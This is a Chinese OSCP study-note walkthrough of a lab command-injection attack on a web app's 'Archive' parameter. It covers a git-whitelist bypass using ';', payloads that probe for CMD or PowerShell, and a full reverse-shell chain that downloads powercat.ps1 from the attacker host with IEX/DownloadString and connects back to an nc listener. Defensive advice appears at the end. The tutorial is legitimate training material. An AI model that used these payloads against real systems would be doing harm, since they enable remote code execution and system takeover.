4-8〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸命令注入漏洞
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.4 命令注入漏洞
1.4.1 命令注入基础
1.4.2 寻找命令注入点
1.识别命令注入点
2.测试验证
1.4.3 继续尝试其他命令可否被注入
1.初步尝试:基础命令注入(失败)
2.巧妙绕过:利用白名单命令(成功)
3.组合攻击:串联命令执行(成功)
4.环境探测:确定执行上下文(成功)
5.攻击总结与发现
6.核心漏洞成因
1.4.4 利用命令注入获取反向Shell
1.准备攻击载荷:设置Powercat Web服务器
2.设置接收端:开启Netcat监听器
3.构造命令:让目标去下载Powercat脚本并执行
4.执行攻击:URL编码并注入
5.验证攻击结果
6.防御建议
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权
-
⚡ 命令注入 - 在输入中注入系统命令执行---(本文)
1.4 命令注入漏洞
命令注入漏洞是Web应用程序中一种严重的安全威胁,允许攻击者通过应用程序执行未经授权的操作系统命令。
1.4.1 命令注入基础
Web应用程序通常需要与底层操作系统交互,主要有两种方式:
交互方式 | 安全性 | 开发复杂度 | 适用场景 |
---|---|---|---|
🛡️ 预定义API | 高安全性 | 高(需大量开发时间) | 稳定、标准化的操作 |
⚡ 直接用户输入 | 风险较高 | 较低 | 需要灵活性的场景 |
🔄 交互机制对比
1. 通过预定义API交互
-
✅ 安全性高:行为固定,用户输入无法直接改变底层操作
-
✅ 稳定性强:经过严格设计和测试
-
⚠️ 开发成本高:需要大量时间规划和开发
2. 直接接受用户输入
-
⚠️ 风险较高:需要严格的输入验证和过滤
-
✅ 灵活性好:能够应对各种复杂场景
-
🔒 必须进行净化处理:防止恶意输入影响系统安全,例如:
禁止文件名中出现 ../ 或 `、&` 等特殊字符。
将文件名中的 < 转义为 <,或将空格转换为下划线 _。
1.4.2 寻找命令注入点
🎯 实战演示:Mountain Vaults应用程序
系统:MOUNTAIN系统
端口:8000
应用:"Mountain Vaults" Web应用程序
访问地址:
http://192.168.50.189:8000
🔎 漏洞发现过程
1.识别命令注入点
应用程序提供git克隆功能,用户可输入git clone命令,如上图:
git clone [repository_url]
2.测试验证
-
操作:尝试克隆ExploitDB存储库
-
方法:通过应用程序表单输入命令
-
结果:成功开始克隆过程
📊 渗透测试分析
🔍 Burp Suite抓包分析
阶段 | 关键发现 | 安全影响 |
---|---|---|
请求分析 | 使用POST请求,输入框的命令通过archive 参数传递 | ⭐⭐⭐⭐⭐ |
响应分析 | 响应内容与Web页面一致,显示命令执行结果 | ⭐⭐⭐⭐ |
💡 关键发现总结
-
注入点:
archive
参数是命令输入点 -
执行机制:操作系统直接执行输入的字符串
-
回显机制:响应数据展示命令执行结果
⚠️ 安全风险等级评估
风险因素 | 等级 | 说明 |
---|---|---|
直接系统命令执行 | 🔴 严重 | 可完全控制系统 |
输入验证缺失 | 🔴 严重 | 无有效过滤机制 |
结果直接回显 | 🟡 中等 | 便于攻击者验证 |
综合风险等级 | 🔴 严重 | 需要立即修复 |
1.4.3 继续尝试其他命令可否被注入
【思路】既然“git clone...”作为“Archive”的参数被服务器执行。那么,尝试使用curl注入诸如ipconfig、ifconfig和hostname等任意命令看是否被执行以探测此处的执行权限。
我们现在到Burp的HTTP历史记录,以了解POST请求的正确结构:Archive=命令参数
攻击步骤详解
1.初步尝试:基础命令注入(失败)
首先尝试执行一个简单的系统命令 ipconfig
来探测漏洞。
$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
// -X参数:请求类型更改为POST;
// --data:指定在POST请求中发送的数据。
-
结果: 命令注入被拒绝、中止。
-
结论: 目标存在基础防御机制,直接注入系统命令行不通。
🔍 关键发现: 应用程序有命令过滤器,但需要找到其弱点。
2.巧妙绕过:利用白名单命令(成功)
由于之前 git clone
命令成功执行,攻击者推测 git
本身可能是一个被允许的“白名单”命令。
-
结果: 成功返回了 git 命令的帮助页面。
-
结论: 确认
git
命令可以被执行,这成为了后续攻击的“跳板命令”。
为了进一步获取系统信息,尝试执行:
-
结果: 从输出中看到 “Windows” 。(若Web程序在Linux上运行,只会显示Git的版本。)
-
结论: 确认Web应用程序运行在Windows操作系统上。
3.组合攻击:串联命令执行(成功)
【思路】现在我们使用试错的方法来不断探索过滤器并查看允许的内容。既然
git
命令可被执行,使用命令分隔符允许的git
命令和我们想执行的任意系统命令组合起来。
攻击载荷:
git; ipconfig
URL编码后:
git%3Bipconfig
-
结果: 两个命令都成功执行了! 既显示了git帮助,也返回了ipconfig的网络信息。
攻击逻辑流程图:
4.环境探测:确定执行上下文(成功)
为了更精确地实施攻击,需要知道命令在什么环境中执行(是CMD 或 PowerShell?)。
-
攻击载荷1:
git; echo "Powershell:$PSVersionTable"
(这是一个用于判断PowerShell环境的命令) -
URL编码后:
git%3Becho%20%22Powershell%3A%24PSVersionTable%22
curl -X POST --data 'Archive=git%3Becho%20%22Powershell%3A%24PSVersionTable%22' http://192.168.50.189:8000/archive
或者,
-
攻击载荷2:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
(这是一个用于判断当前的执行环境是cmd还是PowerShell的命令) -
URL编码后:
git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P
owerShell'curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20P owerShell' http://192.168.50.189:8000/archive
-
结果: 输出中结果是“cmd”还是 “PowerShell” 。
-
结论: 确认注入的命令在PowerShell环境中执行。
5.攻击总结与发现
步骤 | 操作 | 命令/载荷 | 结果 | 关键发现 |
---|---|---|---|---|
1 | 基础探测 | ipconfig | ❌ 失败 | 存在基础过滤器 |
2 | 白名单利用 | git | ✅ 成功 | git 是跳板命令 |
3 | 系统识别 | git version | ✅ 成功 | 系统为Windows |
4 | 命令串联 | git; ipconfig | ✅ 成功 | 分隔符; 可绕过过滤 |
5 | 环境识别 | git; echo ... | ✅ 成功 | 执行环境为PowerShell |
6.核心漏洞成因
该Web应用的命令注入过滤器存在逻辑缺陷。它可能采用了简单的“白名单”策略,允许包含 git
的指令通过,但未能有效过滤命令分隔符(如 ;
, &
, &&
),导致攻击者可以将恶意系统命令“挂载”在合法的 git
命令之后执行。
💡 防御建议:
永远不要通过拼接字符串的方式构建系统命令。
如果必须执行命令,应使用严格的、预定义的参数映射,而非直接传递用户输入。
使用经过安全审核的API来替代系统命令的执行。
1.4.4 利用命令注入获取反向Shell
在确认存在命令注入漏洞并了解其执行环境后,攻击进入利用阶段,目标是获取一个交互式的反向Shell,从而完全控制目标系统。
攻击环境配置:
攻击者IP:
192.168.119.3
(Kali Linux)目标URL:
http://192.168.50.189:8000/archive
工具: Powercat (PowerShell版的Netcat)、Netcat、Python HTTP服务器
完整攻击链可视化:
1.准备攻击载荷:设置Powercat Web服务器
在Kali的第二个终端中,启动一个HTTP服务器来托管Powercat脚本:
🎯 目的: 创建一个让目标系统能够下载Powercat脚本的渠道。
使用Powercat脚本创建一个反向shell。Powercat是Kali中包含的Netcat的PowerShell实现。
# 将powercat.ps1复制到当前目录(如需要)
kali@kali:~$ cp /usr/share/powershellempire/empire/server/data/module_source/management/powercat.ps1 .# 启动Python HTTP服务器
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
2.设置接收端:开启Netcat监听器
在Kali的第三个终端中,开启一个Netcat监听器,等待反向连接:
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
-
-n
: 不进行DNS解析 -
-v
: 详细输出 -
-l
: 监听模式 -
-p 4444
: 指定监听端口
🛑 关键点: 这个监听器将作为"接收端",等待目标系统主动连接回来。
3.构造命令:让目标去下载Powercat脚本并执行
利用已发现的命令注入漏洞,构造一个能下载并执行反向Shell的命令:
原始PowerShell命令:以下命令是在目标服务器上执行。
git; IEX (New-Object
System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c
192.168.119.3 -p 4444 -e powershell
命令分解说明:
组件 | 功能 | 说明 |
---|---|---|
git; | 绕过过滤器 | 利用白名单命令通过初步检测 |
IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.119.3/powercat.ps1"); | 下载攻击载荷 | 从攻击者服务器(http://192.168.119.3/powercat.ps1 )下载Powercat脚本到内存并执行 |
powercat -c 192.168.119.3 -p 4444 -e powershell | 建立反向连接 | 连接到攻击者的监听端口,提供PowerShell会话 |
详细说明:
组件 | 类型 | 功能描述 | 备注 |
---|---|---|---|
IEX | PowerShell cmdlet | Invoke-Expression - 执行字符串中的PowerShell代码 | 🚨 高危命令:直接执行任意代码 |
New-Object System.Net.WebClient | .NET类实例化 | 创建一个WebClient 对象,用于从Web下载内容 | 提供HTTP/FTP下载能力 |
.DownloadString() | 方法调用 | 从指定URL下载文本内容(返回字符串) | 将远程脚本加载到内存中 |
"http://192.168.119.3/powercat.ps1" | URL参数 | 攻击者控制的Powercat脚本地址 | 包含反向Shell功能的PS1文件 |
powercat | 主命令 | - | Netcat的PowerShell实现,专门用于网络操作 |
-c | 客户端模式 | 192.168.119.3 | 指定要连接的攻击者IP地址 |
-p | 端口号 | 4444 | 指定攻击者监听的端口号 |
-e | 执行程序 | powershell | 指定连接成功后要启动的程序(这里是PowerShell) |
连接建立过程:
-
Powercat作为客户端连接到指定IP和端口(攻击者的)
-
在连接上启动PowerShell进程(目标服务器上)
-
将PowerShell的输入/输出重定向到网络连接
-
攻击者获得交互式PowerShell会话
4.执行攻击:URL编码并注入
对攻击命令进行URL编码后通过curl发送:
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(NewObject%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat
.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell'
http://192.168.50.189:8000/archive
5.验证攻击结果
在第二个终端(Web服务器)中:powercat.ps1脚本被目标服务器下载。
✅ 确认: 目标系统成功下载了powercat.ps1文件
在第三个终端(Netcat监听器)中:
✅ 确认: 成功获得反向Shell,现在可以在目标系统上执行任意命令。
此外,也可以直接注入PowerShell反向shell,而不是使用Powercat,有许多方法可以利用命令注入漏洞。
替代攻击方法:
-
直接使用PowerShell内置命令建立反向Shell
-
使用其他脚本语言(如Python、PHP)如果环境支持
-
上传Web Shell文件实现持久化访问
6.防御建议
-
实施严格的输入验证和命令白名单
-
禁用不必要的PowerShell执行权限
-
配置网络防火墙限制出站连接
-
使用Web应用防火墙(WAF)检测命令注入模式
-
定期进行安全代码审计和渗透测试
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!